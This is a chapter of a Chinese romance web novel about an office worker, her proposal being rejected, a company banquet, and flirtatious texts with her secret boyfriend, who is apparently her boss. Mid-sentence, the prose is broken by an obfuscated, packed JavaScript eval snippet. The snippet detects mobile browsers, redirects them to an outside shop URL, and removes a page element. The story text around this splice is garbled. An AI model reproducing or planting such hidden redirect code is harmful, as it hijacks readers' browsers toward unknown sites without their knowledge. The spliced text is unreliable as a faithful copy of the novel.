裴念坐了一会儿,被这办公的氛围感染,默默拿出手机,完善自己的策划案。 车子等红灯时,高理余光瞥见她的动作,笑了下:“这么努力?” 裴念视线从策划案上抬起:“顺手看看。” 高理想起撞见她的好几次都是在加班,佩服地调侃:“你不会连假期都在加班吧?” 意识到到高理并不知道自己中秋假期在贺宗霆家加班,想必贺宗霆也不想让公司的人知道。 裴念眉心微敛,含混过去,顺口问他:“高助理,你中秋怎么过的?” “在家陪孩子。”高理笑笑:“但公司一有事我立刻就得去忙。” 裴念想到贺宗霆和她强调高理假期没空,因此才迫不得已叫她去加班,她不禁小声“啊?”了一声:“我以为你这次假期很忙。” “嗯?”高理:“谁说我mang——?” 他话没说全,忽地意识到什么,从后视镜朝后座瞄了眼。 贺宗霆不知道什么时候拿开了笔记本,靠在头枕上阖眼休息,察觉到高理微小的动静,他轻撩眼皮睇了他一眼。 高理咳嗽一声,重新看向裴念:“这次假期确实忙飞了,家里装修,我得一直盯着,抽不开身。” “这样啊。”裴念并未察觉到异样,温声说:“装修确实得全程盯着。” 高理干笑两声:“可说呢。” 骤雨来得急,去的也很快,不多时,打在车窗上的雨滴彻底停歇,连风势都小了很多。 路遇直达小区的地铁站,裴念忽然出声:“我就在这个地铁站下吧,你们别绕路了。” 高理客气道:“把你送回到吧,开车很方便。” 裴念赧然:“但我…不太方便。” 高理愣了一秒,求助地看了贺宗霆一眼。 贺宗霆似是觉得好奇,居然主动问道:“哪儿不方便?” 裴念考虑了一秒,决定说实话:“我男朋友不喜欢我坐别人的车。” 高理:“?!”他强忍住没有吐槽。 贺宗霆:“。” 裴念见他们都没表态,坚持道:“那我就不打扰了。” 轿车在地铁口停下,裴念道谢后,干脆地推开车门朝地铁口走去,没走两步,就迫不及待掏出手机发信息。 静了音的笔记本弹出一条消息,贺宗霆打开看。 nn:【雨一停我就下车了,是不是很棒[得意]】 贺宗霆看着裴念进入地铁口的轻松身影,磨了磨后牙:【好样的】 / 广告部门的会议,为了敲定R3最终的策划方案,公司高管也会参加。 三组由杨泽开会决定用裴念的方案,这是裴念工作以来参与的第一个项目,她倾注了很多热情和努力。 因此她虽然明白以自己浅薄的资历和不成熟地策划水平这次中标的几率很小,但她还是隐隐抱了份期待。 这份期待在杨泽介绍完她的策划案之后到达了顶峰,裴念明显看到公司几个高层都露出了满意的神情。 会议结束后,公司一众高层再开会敲定最终的方案。 等待的时间最漫长,裴念在工位坐立不安,时不时拿起手机来看,收到群通知的时候,她甚至有了高考查成绩之前的紧张感。 可惜最终的结果不如她优异的高考成绩,经过高层慎重的考虑,最终敲定了一组的方案。 张芮之看到群消息忿忿拍了下椅背:“一组的方案那么保守,高层到底是怎么想的啊。” 韩杨面露菜色:“开会的时候他们明明对裴念的方案很满意啊。” 裴念讷讷端起杯子喝了几口水,混沌的大脑逐渐清晰起来,她开始分析这次落选的原因。 一组的方案是老派的型男配豪车,主题也是大众喜闻乐见的家庭情感。 方案虽然保守,但方方面面都很完善,虽激不起大的水花,但能保证稳当运行。 而她的方案创新有余,但在具体实行方面欠细节。 更何况创新本就意味着冒险,爱情主题和少数民族风情一旦不能被大众所接受,R3的发售将面临严峻的处境。 即便是理解了高层的决定,裴念还是觉得胸口发闷,借口去卫生间到楼上的咖啡厅透气。 到吧台点完咖啡之后,裴念发现贺宗霆和副总也在,他们坐在落地窗旁边喝咖啡边谈事。 裴念没过去打扰,拿到咖啡之后去了阳台。 副总看到裴念的背影,止住正在聊的话题,语气一转倒:“其实比起一组的方案,我更喜欢三组的,小裴的案子很有意思。” 贺宗霆侧目朝阳台上那个蔫蔫的身影扫了眼:“但你不会选。” “有意思归有意思,真要用我有没底了。”副总感叹道:“我们这些高层都老啦,做事不像年轻人那么冒进了,就是可惜了小裴这么好的方案。” “不可惜。”贺宗霆抿了口咖啡:“先列为备选,等到情人节做个活动。” “还是贺总考虑周到,”副总下巴朝阳台点了点:“找时间跟人小裴说一声,看她多伤心。” 贺宗霆看着阳台上垂头丧气地身影,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408051|198240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动声色地抬了抬眉,拿手机发了条消息。 裴念正看着楼下光秃秃的枝丫发呆,手机忽然响了一声。 H:【在做什么】 裴念看着屏幕眸光一晃,H居然破天荒的在工作时间主动和她发消息。 她咬着吸管回:【伤心中】 阳台风大,她被吹得迷了眼睛,用力揉了揉。 H:【哭了?】 裴念脸一热:【我才不会随便哭】 她又揉了一下眼睛,问他:【你怎么突然给我发信息?】 H:【恋爱宝典第二条】 裴念记得是付出要对等,但没明白他的意思,好在H直接发来了解释:【跟你学习,抽空多发消息】 她怔怔看着对话框,沉郁了一下午的坏心情霎时间消散。 裴念忽然有了恋爱的实感,H好像真的很喜欢她。 / 策划案地落选,不影响参加公司团建。 晚上跃维在名爵酒店包下一层,供员工吃饭娱乐。 名爵酒店装修是大气的中式风格,庭院占地面积巨大,造境也别具一格。 员工们到了之后都没急着进包厢,反而在庭院内逗留,拍照的拍照,聊天的聊天。 裴念和张芮之问服务生要来鱼食,趴在桥上喂锦鲤。 裴念正喂得起劲,恍然察觉喧闹的庭院内静了下来。 她茫然环顾四周,发现大家都纷纷看向酒店大门,于是也跟着看过去。 贺宗霆在大门外的平台边站着,旁边还有一个留着齐刘海的女孩,表情殷切,举着手机。 裴念立刻意识到那女孩在同贺宗霆搭讪,其他同事显然也发现了这一点,互相递了几个眼神之后,开始捂着嘴巴窃窃私语。 酷爱八卦的张芮之凑到裴念耳旁,轻声道:“这姑娘要伤心了,谁不知道咱们贺总不近女色。” 裴念点头赞同,她从高中起就见惯了贺宗霆拒绝表白的戏码,导致她一度以为贺宗霆是个无性恋,后来才发现他这人存粹是薄情。 然而,贺宗霆没像她意料之中的走开,反而从口袋里拿出了手机。 裴念不禁怔了一下,心道他这是转性了? 庭院内的同事们见此情景,爆发出了压低嗓音的议论声。 贺宗霆却对他们的视线不以为意,拿着手机同女孩说了几句话,还给她看了看屏幕。 女孩害羞地捂了捂脸,拿着手机走开了。 贺宗霆这才进了庭院,众人连忙恢复之前的聊天状态,但视线仍不住往他身上瞄。 副总性格敞亮,迎上前直接问了所有人都想知道的问题。 “贺总,你原来喜欢这种类型的。” 贺宗霆脚步没停,朝通往包厢的小桥走过去:“谁说我喜欢。” 副总一愣,跟上他的步伐:“不喜欢你还加人家微信?” “没加。” 副总彻底懵了,手指比划着说:“那你刚刚举半天手机,我以为你加人家姑娘微信呢。” 贺宗霆抬脚走上小桥,和裴念擦身而过时才懒洋洋回副总的话。 “我让她看我女朋友发的信息。” 22. 第 22 章 贺宗霆说完就带着副总下桥拐进了包厢,余下一院子的人满脸震惊地炸开了锅。 “贺总有女朋友了?!” “是哪家千金?怎么完全没听说过。” “贺家这是要联姻?天呢,我们公司不会要变天了吧。” “……” 高理被大家团团围住,七嘴八舌的询问声不止。 他面露难色,且说他就算知道实情也不能说,更何况对于贺总恋爱这件事,他也仅仅只是意外看到贺总和人亲密聊天而已。 至于那个让贺总性情大变叫宝宝的人,高理摇摇头:“我也不知道是谁……” 裴念知道。 假期三天,她有两天都和贺宗霆待在一起,而那两天她并未发现贺宗霆有任何异样,唯一值得注意的是贺裴两家在中秋当天晚上的聚餐。 能在这种团圆的佳节一起吃饭,想来两家的联姻大概是要敲定了。 裴念之前在朋友圈看到过周芸发的和贺霖江下棋的照片,相必投其所好这一策略确实获得了贺霖江的青睐,只是她没想到贺宗霆会这么轻易答应再次同裴家联姻。 她隔着院内重重松柏,朝包厢内的身影看了一眼,很快就想明白。 对于贺宗霆来说恋爱对象是她或是裴锦都没什么分别,只要能达成两家公司稳固的合作即可。 想到这儿,裴念感到释然的同时,心口又莫名觉得有些发闷。 释然是因为今后周芸和裴锦应该能放过她,而烦闷却找不到由头。 “念念,”张芮之叫她:“你发什么呆呢?大家都去包厢了,我们也去吧。” 裴念思绪回笼,点头说好,没再胡思乱想。 / 再过几天就是十一假期,席间大家又开始商量着去哪里玩。 裴念中秋被加班和体检排满,几乎没有休息,更别说出去玩,而这次假期足够长,她被同事们说得蠢蠢欲动,想着不然也趁机会出去玩一趟。 她正沉浸看十一旅游攻略,忽听身旁爆发出一声迭一声的尖叫。 裴念侧目,张芮之和几个女同事脑袋凑在一起看手机上的信息,口中念念有词。 “天呐,居然是梁影帝,他可是我童年男神!!” “也是我的,我卧室现在还贴着他的海报呢!” “这次电影见面会我将发动所有亲朋好友帮我抢票!!” 裴念从她们的话中捕捉到关键信息,心里一惊,不禁问道:“是梁明予的见面会吗?” “对啊。”张芮之抬头,语气兴奋:“念念,你也喜欢梁明予?” 开玩笑,在她的少女时代,曾通宵达旦看梁明予的电影,严重入迷的时候每天做梦都是梁明予。 梁明予在她上大学的时候宣布息影,当时她难过了好一阵,没想到有生之年还能看到他出现在大众视野之中。 “我超级喜欢他。”裴念顾不上矜持,把头凑过去看张芮之的屏幕:“他的见面会在哪啊?什么时候啊?” 张芮之亢奋地把手机塞到她手里:“在香港,十月二号,来吧姐妹,加入我们的抢票大队吧。” 这是梁明予息影八年后首次参演电影,导演是国内口碑很好的文艺片导演,梁明予饰演一个表面老实本分背地里却是连环杀人犯的乡村教师,电影预告和见面会的信息一同放出,直接登顶热搜。 裴念仔仔细细看完公告,看到公告最下栏的发行方有顾免的公司,眼睛一下亮了。 “我朋友在这家公司,我看能不能让她帮我们订票。” “哇塞,念念你人脉好广。” “对啊,这家公司最近风头超盛,你朋友在哪个部门啊?” 裴念不想让同事知道自己复杂的身世,因此没提自己和顾免的发小关系,含混地糊弄道:“好像是宣传部,我先问问看……” 好在同事们沉浸在梁明予复出的澎湃心情中,并未多问。 一同事忽然激动地拍了下桌子,让她们看自己的平板:“你们快看!!梁明予和导演吃饭被拍到了!” 几人当即止住话头,齐刷刷看向平板屏幕。 狗仔只隔着落地窗拍到梁明予和导演说着话上楼的场景,可即便是晚上光线昏暗加上距离很远,也能看出梁明予颀长挺拔的身姿,以及他转头听导演说话时露出的刀锋一样深刻的下颌线条。 张芮之捂住胸口发出一声长叹:“他真的有五十吗?我不信我不信!” 拿平板的同事把进度条拖回去重新观赏:“老男人天花板不是随便说的。” 另一个同事义正严辞道:“不准说我老公老。” 有人笑骂:“这就叫上老公了?” “理解。”张芮之啧啧两声:“梁明予这样的男人——” 裴念把话接了过去:“谁见了不得叫一声老公。” 张芮之冲她默契一笑:“基操罢了。” 躁动的情绪稍稍平复之后,裴念和同事们才发现席间有点安静,抬头一看,包厢内不少同事都朝她们的方向看了过来,其中不乏一些高管。 几人这才意识到她们刚刚讨论梁明予时太激动导致失态,各个闹了个大红脸。 副总笑呵呵道:“现在的小姑娘精力真是旺盛,私下还有精力追星,我听我女儿说她们现在追星还有各种属性,什么公公嬷嬷的听都听不懂。” 他饶有兴致地问:“你们这叫什么啊?” “……” 她们没想到副总懂这么多,一时间有些语噎。 张芮之清了清嗓子,给副总科普了新知识:“我们这叫梦女,意思就是幻想和偶像…接触的意思。” 副总一副长知识的模样,拖长声音“哦”了一声。 他身边坐着的贺宗霆拿起酒杯抿了一口,淡色的瞳孔在裴念微红的脸上缓慢掠过。 老公。梦女。有意思。 / 裴念本来没想喝酒,但架不住同事的劝。 张芮之:“喝点嘛,等下咱俩和韩扬一起拼车,他家离得最远,正好能看着咱俩到家。” 和她们隔着几个人的韩扬不假思索地点头:“放心吧,绝对保证你俩的人身安全。”自上次裴念和张芮之给了他建议之后,他成功追回了女朋友,因此对她们感恩戴德。 同事们这么热情,裴念也没再推辞,给自己倒了一杯酒。 工作以来休息的时间骤减,她喝酒的次数屈指可数,现在猛地喝下小半杯啤酒,脑袋有一些晕。 但微微眩晕的感觉并未让她感到不适,因此同事再给她敬酒的时候,她没有拒绝。 饭吃到中途,起身走动的人便多了起来,女同事结伴去洗手间,男同事三三两两去外面抽烟。 裴念和张芮之去洗手间去的早,回到包厢的时候,看到近小半的人都出去了,贺宗霆以及他身边坐着的几个高管都不在,不知道是去抽烟,还是去谈事。 她们坐下没多久,敞开的门边响起一阵快速的脚步声,高理推门而入,扬声问:“谁会说粤语?” 听出他语气中的焦急,裴念没有犹豫地站了起来:“我会,但只限于日常交流。” 高理又问了其他人一遍,见没人会,忖了两秒对裴念说:“应该够用了,小裴,你跟我来。” 裴念跟着他出了包厢:“是要给谁做翻译吗?” “对,”高理带着她朝走廊尽头走去:“贺总要和一位港岛的客户通电话,这个客户年纪比较大,是个传统的香港人,不会说普通话,英语交流起来也困难,你等会就用粤语翻译,实在有听不懂的词就临时发挥吧。” “明白。” 即将走到尽头处的大门,高理接到了一通工作电话,他抬手向裴念示意了一下方向:“贺总正在楼梯边等着,你直接过去就行。” 高理往回走了两步,忽然想起什么,提醒裴念:“门外有个缓冲的台阶,你下去的时候慢点。” 但走廊环境嘈杂,裴念没能听到他的这句提醒,就匆匆忙忙推门进去了。 高理竖起耳朵,没听到摔倒的撞击声,就放心地接起手机去了安静的地方。 裴念根本来不及反应,就被凸起的台阶绊住,身体不受控制地朝前栽了过去,直直扑到了站在栏杆 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贺宗霆挑眉:“感情很好?” “当然了。”裴念有些害羞地说:“特别好,每天晚上都要说晚安。” 贺宗霆笑了下:“恭喜。” 裴念很有礼貌,也祝福他:“也祝你和裴锦感情顺利。” 贺宗霆抿平了唇角:“谁跟你说我和裴锦在一起?” “不是吗?”裴念小声咕哝:“那是谁啊?”难道是周家的小女儿? 贺宗霆看了她几秒钟,抬手握住她身后的栏杆,附到她耳边压低嗓音说:“秘密。” / 电话铃声打断他们之间奇怪的对话,贺宗霆接起电话时语气恢复平常时的音量,裴念赶紧调整好状态,给他们做翻译。 幸而这通天话并未涉及太多专业术语,裴念顺利完成翻译工作,等贺宗霆电话一挂,逃也似地离开了楼梯间。 她回到包厢又喝了一点酒之后,团建就到了结束的时间,裴念按照提前说好的同张芮之和韩杨拼车回了家。 中秋虽过,月亮仍又大又圆,明亮的月华将晦暗的夜空照得澄净透彻,偶有薄云从中缓缓飘过。 下车后,裴念对着天空拍了好几张照片,选了最漂亮的那张发给了H。 H的重点却不在月亮:【去哪了?】 裴念:【公司团建。】 H:【喝没喝酒?】 裴念一边朝电梯间走一边打字:【喝了点,但是一点都没醉】 H没有对这点过分纠结,反而问道:【宝宝有没有做对不起我的事?】 心口一缩,心脏狂跳,裴念在电梯里险些呼吸不上来。 不知道是因为他甜蜜的称呼,还是他敏锐到仿佛算命先生般的直觉。 裴念指尖点在输入框,输入了好几个回答都觉得不太严谨。 H却是等不急了,一连发来两条消息。 【[微笑]】 【真有?】 裴念顾不上措辞,用春秋笔法将自己撞进老板怀里这件事描述成:【我出门差点绊倒,同事看到扶了我一把而已。】 并对H实行道德绑架:【你不会连这点小事都生气吧?[惊讶][惊讶]】 H:【生气】 裴念:【……】 H:【很生气】 裴念败下阵来:【那你要怎么才不生气呢?】 H:【惩罚一下】 惩罚? 裴念心下轰然,脑海里蹦出许多网上刷到过的禁忌调.教帖子。 H居然是这个圈层的人吗? 这对第一次恋爱的裴念来说过于超前了。 就在她努力说服自己,为了H勉强接受这个圈层的规矩时。 强势的H发来追问:【不愿意?】 裴念深吸一口气,颤着指尖问:【具体是什么样的惩罚?】 H秒回:【叫声老公听听】